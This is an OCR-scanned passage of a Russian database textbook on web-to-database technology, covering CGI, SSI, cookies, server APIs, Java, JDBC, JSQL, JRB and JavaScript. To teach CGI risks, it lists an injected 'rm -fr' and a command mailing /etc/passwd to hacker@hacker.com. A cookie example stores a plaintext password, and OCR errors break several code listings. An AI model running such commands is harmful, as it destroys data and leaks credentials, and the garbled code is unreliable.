Наконец, при отсутствии необходимых мер обеспечения безопасности использование CGI-интерфейса может иметь очень серьезные последствия. Многие из этих проблем могут быть связаны с данными, введенными пользователем с помощью броузера, которые не предусмотрены разработчиком CGI-сценария. В частности, особенно опасным является любой CGI-сценарий, использующий командный процессор (например, system или grep). Нетрудно представить, что может случиться, если недобросовестный пользователь введет строку запроса, которая содержит одну из перечисленных ниже команд.
rm -fr И Удаление всех файлов в системе
mail hacker@hacker.com </etc/passwd // Отправка хакеру файла паролей системы
Некоторые из упомянутых недостатков можно устранить, если воспользоваться другими подходами, описанными ниже.
Серверные вставки SSI
Обычно Web-сервер не просматривает посылаемые броузеру файлы, а лишь только проверяет наличие у броузера прав на чтение этого файла. Однако в некоторых Web- серверах предусмотрена возможность синтаксического разбора документа перед отправкой его броузеру. Этот процесс называется серверной вставкой (Server-Side Include, SSI). Помимо непосредственной вставки в документ указанного файла, механизм SSI также предоставляет специальные команды для включения текущей даты и времени, сведений о дате последнего изменения файла или его размере. В частности, существует команда, позволяющая выполнить программу как CGI-сценарий и вставить полученные результаты в документ. В целом, отличительным признаком SSI- вставок является то, что конечным результатом всегда является текстовый документ.
В отличие от многих протоколов, режимов и интерфейсов, механизм SSI-вставки не регламентируются RFC-документами или любыми другими стандартами. Каждый разработчик Web-сервера свободен в выборе способа реализации этого механизма, причем некоторые вообще не поддерживают его. В настоящий момент большинство Web-серверов придерживается спецификации NCSA.
Все SSI-команды вставляются внутрь обычных комментариев языка HTML. Подобный способ внедрения SSI-команд позволяет легко реализовать их поддержку, не нарушая общей совместимости с HTML-форматом. Таким образом, сервер, не поддерживающий SSI-команд, передает их броузеру, который просто игнорирует эти команды, воспринимаемые им как обычные комментарии. В то же время сервер, поддерживающий обработку SSI-команд, проводит синтаксический разбор данного HTML-файла от его начала до конца, выполняя все содержащиеся в комментариях SSI-команды и заменяя каждую такую команду результатами ее выполнения.
Все SSL-команды начинаются с группы символов <1—1 и продолжаются текстом, являющимся для сервера некоторой осмысленной информацией. Например, для включения в HTML-документ определенного файла можно использовать такую команду:
<!--Unclude file="mymail.htmM —>
Команда exec по спецификации NCSA имеет следующий формат:
<!—#ехес cgi="/cgi-bin/foo.cgiM -->
Кроме того, в некоторых серверах предусмотрена возможность передачи программе аргументов командной строки. Например, Web-сервер SPRY Mosaic фирмы CompuServe поддерживает следующий синтаксис:
<! —#ехес script=Mscripfile.exe" args="argl arg2 agr3 ..." —>
Многие проблемы обеспечения безопасности при использовании механизма SSI- вставок аналогичны проблемам, характерным для CGI-интерфейса.
Файды cookies протокола HTTP
Один из способов обеспечения большей интерактивности CGI-сценариев основан на применении файлов magic cookies, или просто cookies. Файлы cookies — это маленькие текстовые файлы, которые хранятся на стороне Web-клиента. Cookie-файл создается CGI-сценарием и пересылается Web-сервером броузеру клиента. После получения cookie-файла броузер сохраняет его на жестком диске клиентской машины. Позже при повторном посещении того же Web-сайта запускается CGI-сценарий, который запрашивает cookie-файл. Броузер проверяет наличие требуемого файла и, если такой имеется, посылает серверу информацию из этого cookie-файла. Следует отметить, что не все броузеры поддерживают работу с cookie-файлами.
Cookie-файл может использоваться для хранения, например, такой регистрационной информации, как виртуальная корзина для покупок. Кроме того, в cookie-файле могут храниться учетное имя и пароль пользователя, так что при повторном обращении к базе данных CGI-сиенарий может извлечь cookie-файл со стороны клиента и выделить из него указанные ранее учетное имя и пароль пользователя. Cookie-файл имеет следующий формат:
Set-Cookie: NAME=VALUE; expires^DATE; path=PATH;
[domain=DOMAIN_NAME; secure]
Для пересылки cookie-файла можно использовать сценарий на языке командного процессора UNIX, текст которого представлен в листинге 24.3.
Листинг 24.3. Сценарий на языке командного процессора UNIX, предназначенный для генерации cookie-файла
$ I/bin/sh
echo "Content-type: text/html"
echo "Set-cookie: UserID=conn-ciO; expires = Friday 30-Apr-99 12:00:00 GMT"
echo "Set-cookie: Password=guest; expires = Friday 30-Apr-99 12:00:00 GMT"
echo ""
Расширения Web-сервера
Интерфейс CGI является, стандартным, переносимым и модульным методом поддержки специальных функций приложений, основанным на активизации сервером сценариев, предназначенных для обработки клиентских запросов. Несмотря на многие преимущества, подход на основе использования интерфейса CGI обладает определенными ограничениями. В основном они связаны с производительностью и совместным использованием разделяемых
ресурсов. Эти ограничения являются следствием того факта, что согласно спецификациям CGI, сервер должен запускать шлюзовую программу и обмениваться с ней данными, используя механизм обмена между процессами (Inter-Process Communication, IPC). Поскольку каждый запрос к серверу инициирует запуск дополнительного системного процесса, на сервер приходится очень большая дополнительная нагрузка.
Для преодоления указанных ограничений многими серверами предоставляется специализированный программный интерфейс приложений (Application Programming Interface — API), расширяющий функциональные возможности сервера или даже позволяющий изменять и настраивать поведение сервера. Такие расширения сервера называются несовместимыми с CG1 шлюзами (non-CGI gateways). Существуют два главных типа подобных API: Netscape Server API (NSAPI) и Microsoft Internet Information Server API (ISAPI). Чтобы исключить создание нового процесса для каждого запускаемого CGI-сценария, эти API предоставляют метод создания интерфейса между сервером и приложениями на основе динамического связывания или совместного использования объектов. Сценарии загружаются как часть сервера, предоставляя приложениям полный доступ ко всем функциям ввода/вывода сервера. Помимо этого, только одна копия каждого приложения загружается и совместно используется несколькими запросами к серверу со стороны пользователей. Это позволяет эффективно расширить возможности сервера и получить преимущества перед стандартным интерфейсом CGI по приведенным ниже параметрам.
Организация защиты Web-страницы или Web-сайта посредством вставки нового “уровня” идентификации пользователей, осуществляемой с помощью идентификатора и пароля, помимо имеющихся у Web-броузера собственных методов обеспечения безопасности.
Регистрация всех входов и выходов из системы благодаря отслеживанию большего объема информации по сравнению с обычным Web-сервером, а также сохранению ее в формате, не ограниченном требованиями, установленными данным Web-сервером.
Обработка и передача данных броузерам-клиентам, проводимая иначе, чем это делает сам Web-сервер (или даже мог бы сделать).
Этот подход гораздо сложнее, чем подход с использованием интерфейса CGL Для его реализации потребуется привлечение квалифицированных программистов с глубокими знаниями особенностей функционирования Web-сервера и таких аспектов программирования, как организация многопоточности, параллельная синхронизация, сетевые протоколы и обработка исключительных ситуаций. Однако этот подход позволяет получить очень гибкое и мощное решение. API-расширения обеспечивают те же функциональные возможности, что CGI-сценарии, но, поскольку подпрограммы библиотеки API выполняются как часть серверного процесса, API-программы работают значительно эффективнее CGI-программ.
Использование расширений Web-сервера потенциально очень опасно, поскольку при этом изменяется сам выполняемый файл сервера, что может иметь следствием внесение в него ошибок программирования. В некоторых API предусмотрены определенные механизмы защиты против возникновения подобных событий. Однако если API-расширение ошибочно изменит закрытые данные сервера, то это, весьма вероятно, послужит причиной сбоя в работе Web-сервера.
Проблемы, связанные с использованием API-расширений сервера, не ограничиваются только повышением сложности и снижением надежности. Основной недостаток использования этого механизма заключается в его непереносимости. Все Web- серверы поддерживают спецификации CGI, а потому созданная CGI-программа без каких-либо затруднений может применяться на подавляющем большинстве Web- серверов. Однако API-расширения и сама архитектура различных Web-серверов являются полностью оригинальными. Следовательно, при использовании подобных API выбор подходящих Web-серверов будет весьма ограничен. В разделе 24.8.1 приводится пример применения на серверной стороне соединений интерфейса Netscape API совместно с языком JavaScript.
4.6.1. Сравнительная характеристика CGI и API
Интерфейсы CGI и API выполняют одну и ту же задачу — расширение возможностей Web-сервера. При этом CGI-сценарии выполняются в среде, созданной программой Web-сервера, т.е. сервер готовит для CGI-сценария особую информацию, представленную в виде переменных окружения, и ожидает получить определенный обратный отклик от CGI-сценария в результате его выполнения. Эти сценарии могут создаваться на многих языках программирования и общаться с сервером только посредством одной или нескольких переменных. Важно отметить, что они выполняются только после того, как Web-сервер осуществит интерпретацию запроса броузера. Полученные при выполнении сценариев результаты возвращаются Web-серверу. Иначе говоря, CGI-программа существует только для получения от сервера некоторой информации и возвращения ему результатов своего выполнения, тогда как за обмен данными с броузером целиком и полностью отвечает Web-сервер.
Врзмо^кности подхода с использованием API-интерфейса ограничены не столь значительно. API-программа может взаимодействовать с информацией, поступающей непосредственно из броузера, еще до того как Web-сервер “увидит” ее. Кроме того, API-программа может получать информацию, направленную Web-сервером броузеру, перехватывать ее, изменять заданным образом, а потом снова направлять броузеру. Кроме того, API-программа может выполнять некоторые действия по запросу Web- сервера, аналогично тому, как это делают CGI-программы. Это позволяет Web- серверу обрабатывать самую разную информацию. Обычно Web-серверы посылают броузерам традиционные HTTP-заголовки ответов, но можно создать API-программу, которая сможет либо самостоятельно выполнять эту функцию, предоставляя серверу возможность обрабатывать другие запросы, либо изменять HTTP-заголовки подготовленного ответа с целью поддержки различных типов информации.
Кроме того, расширения сервера на основе API-интерфейса загружаются в то же адресное пространство, что и Web-сервер, что отличает их от CGI-программ, для которых на сервере создается отдельный процесс по каждому поступившему запросу. В конечном итоге при использовании API-интерфейса можно добиться более высокой производительности, чем при применении сценариев CGI, затратив при этом существенно меньший объем оперативной памяти.
Язык Java
Java — это оригинальный язык программирования, разработанный корпорацией Sun Microsystems и продвигаемый в настоящее время на рынке фирмой JavaSoft, являющейся подразделением Sun Microsystems. Исходно он задумывался как язык программирования для поддержки среды связанных в сеть компьютеров и встроенных систем. Потенциал язык Java не мог быть полностью реализован до тех пор, пока не возросла в достаточной степени популярность сети Internet и Web-среды. Сегодня язык Java быстро становится фактически стандартным языком программирования для сложных Web- приложений. Более того, фирма Sun недавно подала в комитет ISO/IEC заявку на получение этим языком статуса общепринятой спецификации — Publicly Available Specification (PAS). Это первый шаг на пути к международной стандартизации языка Java.
Значение языка Java и связанных с ним технологий в последние годы стремительно возрастает. Java (Gosling et al., 1996) является объектно-ориентированным языком программирования со строгим контролем типов, который интересен, прежде всего, возможностью построения Web-приложений, или аплетов (applet), и серверных приложений, или сервлетов (servlet). В связи с широким распространением языка Java, его близостью к языкам С и С4-4- и активной поддержкой различными производителями многие организации выбирают его в качестве предпочтительного языка.
Сегодня язык Java совершенно открыто признается первой версией, которую впоследствии предполагается расширить. Это “простой, объектно-ориентированный, распределенный, интерпретируемый, устойчивый, безопасный, архитектурно-нейтральный, переносимый, высокопроизводительный, многопоточный и динамический язык” (Sun, 1997).
Язык Java особенно интересен из-за его платформенно-независимой архитектуры, т.е. использования виртуальной машины Java Virtual Machine (JVM) (Lindhom and Yellin, 1996). По этой причине язык Java часто называют языком, позволяющим “один раз написать и выполнять где угодно”. Среда языка Java схематически показана на рис. 24.7. Компилятор Java считывает файл с расширением .java и генерирует файл с расширением .class, который содержит инструкции в виде байт-кода, не зависящего от любой конкретной компьютерной архитектуры. Текст байт-кода одинаково легко интерпретируется на любой платформе или же транслируется в характерные для нее методы. При этом виртуальная машина JVM может интерпретировать и выполнять байт-код Java непосредственно на любой платформе, для которой созданы интерпретатор и система времени выполнения. Поскольку практически все разработчики Web-броузеров уже лицензировали Java и реализовали в своих продуктах встроенную виртуальную машину JVM, приложения Java могут выполняться на подавляющем большинстве существующих платформ.
Прежде чем запустить Java-программу, ее необходимо загрузить в память. Это делается с помощью специального загрузчика классов Class Loader, который считывает содержащий байт-код файл с расширением .class и помещает его в память. Файл класса может быть загружен с локального жесткого диска или из сети. Затем проверяется корректность байткода и его соответствие установленным ограничениям безопасности языка Java.
Рис. 24.7. Платформа языка Java
Образно говоря, Java является “безопасным” вариантом языка С+-. Основными компонентами его системы безопасности являются строгая статическая проверка типов, неявное управление выделенной памятью посредством автоматической сборки мусора для освобождения динамически выделенной памяти, а также отсутствие механизма указателей на уровне языка. Взятые вместе эти особенности позволяют избежать возникновения в Java-программах различных ошибок, связанных с неправильным использованием указателей, что весьма характерно для программ на языках С/С— Упомянутые особенности системы безопасности чрезвычайно важны для достижения одной из основных целей создания языка Java: способности безопасно передавать Java-
код в сети Internet. Безопасность является неотъемлемой составной частью структуры Jaya, которую метафорически обычно описывают с помощью понятия песочницы (Sandbox). Предполагается, что “песочница” гарантирует защиту системных ресурсов от несанкционированного доступа со стороны потенциально враждебного приложения. Более подробно система защиты языка Java обсуждается в разделе 24.11.8.
Пакет JDBC
Пакет JDBC, вероятно, является самым известным и совершенным методом доступа к реляционным СУБД из Java-программ (Hamilton and Cattell, 1996). Созданный вслед за спецификацией Open Database Connectivity (ODBC), описываемой в разделе 14.8, пакет JDBC определяет интерфейс (API) доступа к базе данных, поддерживающий основные функции языка SQL и позволяющий осуществить доступ к широкому кругу реляционных СУБД. Благодаря пакету JDBC язык Java может использоваться в качестве основного языка программирования приложений баз данных. Поверх пакета JDBC могут быть надстроены API-интерфейсы более высокого уровня. К моменту написания этой книги в стадии разработки находились два таких API-интерфейса высокого уровня.
Встроенный SQL для языка Java. В соответствии с требованиями этого подхода команды SQL передаются методам Java в виде строк (String). Встроенный препроцессор языка SQL позволяет программисту использовать в командах SQL переменные языка Java для получения или передачи SQL-значений. В ходе выполнения встроенный препроцессор SQL транслирует этот смешанный Java/SQL-код в чистый Java-код с вызовами JDBC- методов. Подробнее этот подход рассматривается в разделе 14.5.
Прямое отображение таблиц реляционных баз данных на Java-классы. Фирма JavaSoft и другие объявили о своих намерениях создать средства прямого отображения таблиц реляционных баз данных на Java-классы. При таком “объектно-реляционном” отображении каждая строка таблицы становится экземпляром класса, а каждое значение столбца соответствует атрибуту этого экземпляра. В результате программисты получают возможность работать непосред- ш ственно с Java-объектами, а необходимые для извлечения или сохранения данных SQL-вызовы будут генерироваться автоматически. Предусмотрены также более сложные варианты отображения, при которых в одном Java-классе могут объединяться строки из нескольких таблиц.
Интерфейс JDBC API состоит из двух основных интерфейсов: API, предназначенного для создания приложений, и низкоуровневого API, используемого для разработки драйверов. Приложения и аплеты могут получать доступ к базам данных с помощью интерфейса JDBC API на основе использования JDBC-драйверов, полностью написанных на языке Java, как показано на рис. 24.8. В другом варианте для доступа к базам данных дополнительно могут использоваться ODBC-драйверы и существующие библиотеки клиентов СУБД, что схематически показано на рис. 24.9.
При этом возможны следующие варианты организации доступа.
Полностью написанный на языке Java JDBC-драйвер с прямым подключением к базе данных преобразует JDBC-вызовы в сообщения сетевого протокола, используемого непосредственно СУБД. При этом допускается выполнение прямых вызовов из клиентского компьютера на сервер СУБД. Такой метод представляет собой удобное практическое решение для организации доступа к СУБД в сети intranet. Поскольку многие из подобных протоколов являются специализированными, основным источником драйверов будут сами разработчики баз данных, причем некоторые из фирм-разработчиков баз данных в настоящее время уже ведут работу по их созданию.
Полностью написанный на языке Java JDBC-драйвер для промежуточного уровня программного обеспечения СУБД транслирует JDBC-вызовы в сообщения протокола промежуточного уровня, которые затем транслируются сервером промежуточного уровня в сообщения протокола СУБД. Промежуточный уровень обеспечивает соединение со многими различными базами данных. В целом это наиболее гибкое из всех альтернативных решений с использованием пакета JDBC. Весьма вероятно, что все разработчики подобных решений вскоре предоставят продукты, предназначенные для доступа к данным в сети intranet. Для поддержки открытого доступа из сети Internet они должны обеспечить выполнение дополнительных требований к безопасности (например, доступ через брандмауэры), предъявляемых к Web-среде. Некоторые фирмы-разработчики добавили JDBC-драйверы к своим уже существующим программным продуктам промежуточного уровня.
Рис» 24.8. СхемаРис» 24.8. СхемафункционированияфункционированияСхемаСхемаустановкиустановкиполной J DBC-платформыполной J DBC-платформыиспользованиемиспользованиемРис. 24 9. соединения драйверовРис. 24 9. соединения драйверовJDBC-
Рис» 24.8. Схема
Рис» 24.8. Схема
функционирования
функционирования
Схема
Схема
установки
установки
полной J DBC-платформы
полной J DBC-платформы
использованием
использованием
Рис. 24 9. соединения драйверов
Рис. 24 9. соединения драйверов
ODBC-
JDBC-драйвер, лишь частично написанный на языке Java, преобразует JDBC- вызовы в вызовы функций клиентских API используемой СУБД. Однако для этого необходимо, чтобы на каждом клиентском компьютере было загружено некоторое клиентское программное обеспечение для работы с базами данных.
Мост JDBC ODBC (разработки фирмы Sun) обеспечивает JDBC-доступ с помощью ODBC-драйверов. Для этого необходимо, чтобы двоичный код ODBC- драйвера (а во многих случаях и некоторое клиентское программное обеспечение для работы с базами данных) было загружено на каждом клиентском компьютере, использующем этот драйвер.
Преимущество использования ODBC-драйверов заключается в том, что они фактически стали стандартом доступа к базам данных на персональных компьютерах и их варианты имеются для большинства самых популярных СУБД, причем по достаточно низкой цене. Тем не менее последний подход обладает следующими недостатками.
Тот JDBC-драйвер, который не полностью написан на языке Java, не обязательно сможет работать с любым Web-броузером.
В настоящее время (по соображениям безопасности) скопированный из сети Internet аплет может соединяться только с базой данных, расположенной на том же компьютере, с которого этот аплет был получен (подробнее об этом речь пойдет в разделе 24.11.8).
Расходы на разворачивание приложений возрастают из-за необходимости устанавливать, настраивать и сопровождать на каждом клиентском компьютере некоторый набор драйверов, а в случае двух последних подходов — и программное обеспечение базы данных (см. раздел 24.2).
С другой стороны, JDBC-драйвер, полностью написанный на языке Java, может быть скопирован непосредственно вместе с аплетом.
Совместимость с SQL
Хотя в большинстве реляционных СУБД для выполнения основных функций используется стандартная форма языка SQL, в них, как правило, не поддерживаются более сложные функции, появившиеся в последнее время. Например, не во всех реляционных СУБД обеспечивается поддержка хранимых процедур или выполнение внешних соединений. А если эти функции поддерживаются СУБД, то зачастую используемые методы несовместимы друг с другом. Интерфейс JDBC API был задуман именно для поддержки различных диалектов SQL.
Одним из способов разрешения этой проблемы с помощью интерфейса JDBC API является возможность передачи любой строки запроса на нижележащий уровень драйвера СУБД. Это означает, что приложение может совершенно свободно использовать любую необходимую ему функциональность языка SQL, хотя при работе с некоторыми типами СУБД это может привести к появлению сообщений об ошибке. На самом деле запрос может быть выражен вообще не на языке SQL либо это может быть некая особая разновидность языка SQL, разработанная специально для СУБД некоторого конкретного типа. Кроме того, пакет JDBC поддерживает управляющие последовательности в стиле ODBC. Синтаксис управляющих последовательностей обеспечивает стандартный синтаксис пакета JDBC для нескольких самых распространенных разновидностей языка SQL. Существуют, например, управляющие последовательности для литералов дат и вызовов хранимых процедур.
В сложных приложениях пакет JDBC способен поддерживать совместимость с SQL третьим способом. Он предоставляет описательную информацию об используемой СУБД с помощью интерфейса DatabaseMetaData, что позволяет приложению адаптироваться к требованиям и возможностям каждой конкретной СУБД.
Для решения проблемы совместимости фирма JavaSoft ввела понятие “JDBC COMPLIANT1 м” (JDBC-совместимый), чтобы установить тот стандартный уровень JDBC-функциональности, на который могут опереться пользователи. Для соответствия данному понятию драйвер должен поддерживать, по крайней мере, уровень ANSI
SQL2 Entry Level. Для проверки совместимости с интерфейсом JDBC API разработан специальный тест. Использование функций пакета JDBC показано на примере Ж.1, приведенном в приложении Ж.
Спецификации JSQL
Еще одним подходом на базе пакета JDBC является использование в программах на языке Java внедренных SQL-операторов. Консорциум организаций (Oracle, IBM и Tandem) предложил спецификацию для языка Java по поддержке статических внедренных SQL-операторов, получившую название “JSQL” (Oracle, 1997). Это расширение стандарта ISO/ANSI по внедрению операторов языка SQL, который в оригинале регламентирует поддержку языка SQL только для языков С, Fortran, COBOL, ADA, Mumps, Pascal и PL/1 (см. раздел 14.5).
Спецификация JSQL охватывает набор предложений, которые расширяют язык Java включениями в него таких конструкций языка SQL, как операторы и выражения. Транслятор JSQL преобразует JSQL-предложения в стандартный Java-код, осуществляющий доступ к базе данных с помощью интерфейса на уровне вызовов. Использование JSQL иллюстрируется в примере Ж.2, приведенном в приложении Ж.
Пакет Java Relational Binding ORB)
Пакет Java Relational Binding™ (JRB) фирмы O2 Technology (который раньше назывался просто Persistent Java) является промежуточным программным обеспечением, которое связывает среду языка Java с реляционными СУБД (О2, 1996). Подход, реализованный в JRB, состоит в предоставлении ортогонального сохранения (см. раздел 22.3.2) на основе трехуровневой процедуры: создание базы данных, программа импорта, JRB API.
Программа импорта используется для создания необходимых структур базы данных для заданного набора классов и пакетов языка Java. Программа импорта также создает дополнительные (выполняемые) методы для каждого импортируемого класса. Довольно странно выглядит используемая схема работы, в соответствии с которой программа импорта обрабатывает откомпилированный файл класса (.class) и создает выходной файл, содержащий сгенерированный ею исходный текст, который программист должен вручную добавить к соответствующему файлу .java, после чего повторно его откомпилировать (как показано на рис. 24.10).
Программа импорта содержит много принимаемых по умолчанию параметров, которые могут быть модифицированы с помощью файла конфигурации. Например, можно предотвратить сохранение переменной класса в базе данных, объявив ее временной в файле конфигурации, а также задать новые имена для таблиц/столбцов, отличающиеся от соответствующих имен классов/переменных.
Интерфейс JRB API представляет собой набор открытых классов, которые могут использоваться программистом при разработке приложений. Он включает методы для подключения к серверу базы данных, открытия базы данных, запус- ка/прекращения транзакции, создания/обновления/чтения объектов. Процедуры пакета JRB выполняют только поверхностное чтение и запись объектов (т.е. любой упоминаемый по ссылке объект должен быть явным образом записан в базу данных). Постоянно сохраняемый объект может быть удален из базы данных только при условии, что никакой другой хранимый объект не ссылается на него. Согласование объектов в оперативной памяти и базе данных выполняется не автоматически, программист должен убедиться в том, что изменения постоянно хранимых объектов действительно записаны в базу данных.
Функции пакета JRB полагаются на систему защиты и обеспечения целостности данных базовой реляционной СУБД (в настоящее время это может быть только Oracle и Sybase). Ссылки между объектами реализованы как внешние ключи, а идентификаторы объектов моделируются в виде первичных ключей, генерируемых системой. В пакете JRB также предусмотрено понятие экстентов класса, которые позво-
ляют последовательно извлекать все хранимые в классе Java-объекты. Кроме того, существует возможность связывать предикат с экстентом класса и извлекать объекты на основе их содержимого (в стиле “выбратъ-из-где"У
Рис. 24.10. Общая схема среды пакета JRB
Помимо сохранения Java-объектов система позволяет сохранять в базе данных метаданные класса, включая байт-код для методов, использующих отдельную программу импорта байт-кода. Класс DatabaseClassLoader, являющийся подклассом класса java.lang.ClassLoader, позволяет загружать классы непосредственно из базы данных в систему времени выполнения языка Java. Эта система времени выполнения реализована поверх JDBC-совместимого уровня интерфейса. Следует отметить, что этот уровень не является истинным JDBC-драйвером, поскольку некоторые описанные в спецификации JDBC функции в нем не реализованы. Один из вариантов использования пакета JRB представлен в примере Ж.З, приведенном в приложении Ж.
Сравнительная характеристика пакетов JDBC, JSQL и JRB
Спецификация JSQL регламентирует использование статических внедренных SQL- операторов, тогда как пакет JDBC позволяет работать с языком SQL динамически. Поэтому спецификация JSQL обеспечивает статический анализ с целью проверки синтаксиса, соответствия типов и контроля схемы, что позволяет создавать более надежные программы, но за счет определенного сокращения функциональных возможностей и достигаемой гибкости решений. Кроме того, подобный подход позволяет СУБД заранее генерировать стратегию выполнения запросов, что повышает скорость
их выполнения. Пакет JDBC, использующий динамический вариант языка SQL, позволяет вызывающей программе строить выполняемые SQL-операторы непосредственно во время выполнения.
Пакет JDBC является низкоуровневым промежуточным программным инструментом, предоставляющим основные функции, необходимые для организации взаимодействия Java-программы с конкретной реляционной СУБД. При использовании пакета JDBC, разработчики должны подготовить реляционную схему, на которую впоследствии будут отображаться Java-объекты. Следовательно, для записи Java-объекта в базу данных необходимо вставить код отображения Java-объекта в соответствующие строки соответствующих отношений. Аналогичную процедуру потребуется выполнить и в обратном направлении с целью организации чтения Java-объекта из базы данных. Подобный подход связан с такими, хорошо известными разработчикам проблемами, как:
необходимость освоения двух различных парадигм (объектной и реляционной);
необходимость проектирования реляционной схемы, предназначенной для отображения на объектную структуру;
необходимость создания кода отображения, который медленно работает, содержит ошибки и сложен в сопровождении (при развитии системы).
Тем не менее упомянутые подходы действительно предоставляют важную и жизненно необходимую связь с уже существующими традиционными системами, построенными с использованием стандарта ODBC. В то же время пакет JRB предоставляет средства ортогонального постоянного сохранения (см. раздел 22.3.2), позволяющие создавать объекты любого типа, — как постоянно хранимые, так и временные. Этот подход очень удобен для широкого круга приложений, в которых требуется совместное использование функциональных возможностей как баз данных, так и языков программирования (Connoly, 1997). Подобные приложения характеризуются необходимостью сохранять и извлекать большой объем совместно используемых структурированных данных. Примерами таких приложений являются системы разработки программных средств, CASE-инструменты, CAD/CAM-системы, системы автоматизации учрежденческой деятельности, GIS-системы, настольные издательские системы, научные и медицинские системы, предназначенные для анализа сложных биологических объектов (см. раздел 21.1 ).
Языки сценариев
В этом разделе рассматриваются способы расширения возможностей броузеров и Web-серверов для обеспечения поддержки дополнительной функциональности баз данных, которые осуществляются благодаря использованию языков сценариев. Как уже отмечалось выше, свойственные языку HTML ограничения затрудняют создание практически любых типов приложений, за исключением самых простейших. Механизм сценариев призван разрешить проблему отсутствия в броузере функционирующего кода приложения. Поскольку код сценария встраивается в HTML-код, он загружается по сети при каждом доступе к странице. Обновление состояния броузера достигается за счет изменения Web-документа на сервере. Основное внимание в этой области сосредоточено на языке Java, который уже рассматривался нами в разделе 24.7. Однако важные рутинные функции могут, вероятно, выполняться и с помощью новых механизмов выполнения сценариев: JavaScript и VBScript. Эти инструменты предоставляют ключевые функции, необходимые для сохранения приложения клиента достаточно “тонким” и способствующие быстрой разработке приложений. Оба этих языка являются интерпретируемыми, а не компилируемыми, что упрощает создание небольших приложений.
Языки сценариев обеспечивают создание функций, встроенных в HTML-код. Это позволяет автоматизировать различные процессы, а также организовать доступ к объектам и манипулирование ими. Подобные программы могут быть созданы с использованием стандартных конструкций программирования, включая циклы, услов-
ные выражения и математические операторы. Как язык JavaScript, так и VBScript позволяют создавать HTML-текст динамически, в процессе выполнения сценария. Эта способность позволяет разрабатывать сценарии создания динамически настраиваемых HTML-страниц, форматируемых с учетом предпочтений или указаний пользователя, причем без необходимости предварительного сохранения на Web-сервере текста сценария создания нужной страницы.
Языки JavaScript и JScript
JavaScript фирмы Netscape и JScript фирмы Microsoft — это практически идентичные интерпретируемые языки сценариев. JScript — это клон более раннего и более распространенного языка JavaScript. В обоих этих языках предполагается непосредственная интерпретация исходного кода и допускается вставка сценария в HTML-документ. Сценарии могут выполняться как броузером, так и сервером, в последнем случае — до передачи документа броузеру. Их конструкции в обоих случаях практически одинаковы, за исключением того, что сервер обладает дополнительными функциями, например способностью подключения к базе данных.
JavaScript является объектно-ориентированным языком сценариев, который был создан в результате работы над совместным проектом фирм Netscape и Sun, а впоследствии стал языком Web-сценариев фирмы Netscape. Это очень простой язык программирования, который позволяет включать в HTML-страницы функции и сценарии, способные распознавать и отвечать на действия пользователей, включая щелчки кнопками мыши, ввод данных и перемещение по странице. Подобные сценарии могут оказать существенную помощь при создании Web-страниц со сложным поведением, причем с относительно небольшим объемом усилий, необходимым для их программирования.
Язык JavaScript напоминает язык Java (см. раздел 24.7), но не поддерживает статических типов данных и строгого контроля типов. В отличие от присущей языку Java системы компилируемых классов, построенной на объявлениях, в языке JavaScript используется система времени выполнения на основе небольшого количества типов данных, включающих числовые, логические и строковые величины. Язык JavaScript дополняет язык Java тем, что свойства Java-аплетов могу быть использованы в JavaScript-сценариях. Операторы языка JavaScript могут считывать и устанавливать значения предоставляемых свойств с целью опроса состояния или изменения работы аплетов или модуль-приложений. В табл. 24.1 приводится сравнительная характеристика сценариев JavaScript и Java-аплетов. Использование клиентского сценария на языке JavaScript показано на примере Ж.4, приведенном в приложении Ж.
Таблица 24.1. Сравнительные характеристики сценариев языка JavaScript и аплетов языка Java
Сценарий языка JavaScript
Аплет языка Java
Интерпретируется (не компилируется) на стороне клиента
Объектного типа. В коде используются встроенные, расширяемые объекты, но без определения классов или наследования
Код может интегрироваться и внедряться в HTML- документы
Тип данных переменных не объявляется (нестрогий контроль типов)
Динамическое связывание. Ссылки на объекты проверяются во время выполнения
Не может автоматически записывать данные на жесткий диск
Компилируется на стороне сервера до выполнения на стороне клиента
Объектно-ориентированный. Аплеты состоят из объектных классов с возможностью наследования
Аплеты размещаются вне HTML-текста (вызываются из HTML-страниц)
Тип данных переменных должен быть объявлен (строгий контроль типов)
Статическое связывание. Ссылки на объекты должны проверяться во время компиляции
Не может автоматически записывать данные на жесткий диск
Сценарии JavaScript на стороне сервера, предназначенные для доступа к базам данных
Продукт LiveWire. Pro фирмы Netscape содержит конструкции для сценариев JavaScript на стороне сервера, предназначенные для подключения к базам данных с использованием NSAPI (Netscape Server API). Однако в данном случае сценарии JavaScript компилируются в байт-код и интерпретируются расширением сервера LiveWire Pro, функционирующего параллельно с сервером Netscape. В этой роли сценарий JavaScript в значительной степени заменяет или расширяет CGI-сценарии. На стороне сервера сценарии JavaScript могут решать многие задачи, которые обычно связаны с извлечением и обработкой информации из базы данных, включая такие, как:
подключение/отключение базы данных;
запуск, фиксация и откат SQL-транзакций;
отображение результатов SQL-запроса;
создание обновляемых курсоров для просмотра, вставки, удаления и изменения данных;
доступ к большим бинарным объектам (binary large objects — BLOB) с мультимедиа-содержимым, например изображениями или аудиоданными.
Опустив некоторые подробности работы с API-интерфейсом, в листинге 24.4 мы представили небольшой фрагмент сценария на языке JavaScript для серверной стороны, выполняющего увеличение зарплаты работников в базе данных учебного примера DreamHome. Приведенный пример содержит объект database и перечисленные ниже методы.
Connect —Connect —Connection —Connection —Cursor —Cursor —устанавливает соединение с указанной базой данных. Параметры включают описание типа базы данных (Oracle, Sybase, Informix, ODBC), имя сервера, учетное имя и пароль пользователя для регистрации подключения к базе данных, а также имя самой базы данных.
Connect —
Connect —
Connection —
Connection —
Cursor —
Cursor —
проверяет успешность подключения.
создает курсор для SQL-запроса (аналогично курсору, рассмотренному в разделе 14.5.4). Параметры задают SQL-оператор, а флаг указывает, будут ли записи обновляться посредством данного курсора.
Disconnect — отключение от базы данных.
: Листинг 24.4. Фрагмент сценария JavaScript, используемого совместно с
; серверным расширением LiveWire Pro фирмы Netscape и предназначенного для увеличения зарплаты работников
И Подключение к базе данных и проверка результатов установки соединения database.connect(ORACLE, my_server, auser_name, auser_password,
dreamhome_dbname)
if (!database.connected())
write("Error connecting to database") else {
II Создание курсора для результатов запроса. Второй параметр // указывает, что курсор будет использован для обновления. my_cursor = database.cursor("SELECT * FROM staff", TRUE) I/ Цикл по всем выбранным записям и обновление значения поля salary while (my_cursor.next()) {
my_cursor.salary = my_cursor.salary * 1.05 my_cursor.updateRow(staff)
// По завершении работы выполняется отключение от базы данных database.disconnect()
} '
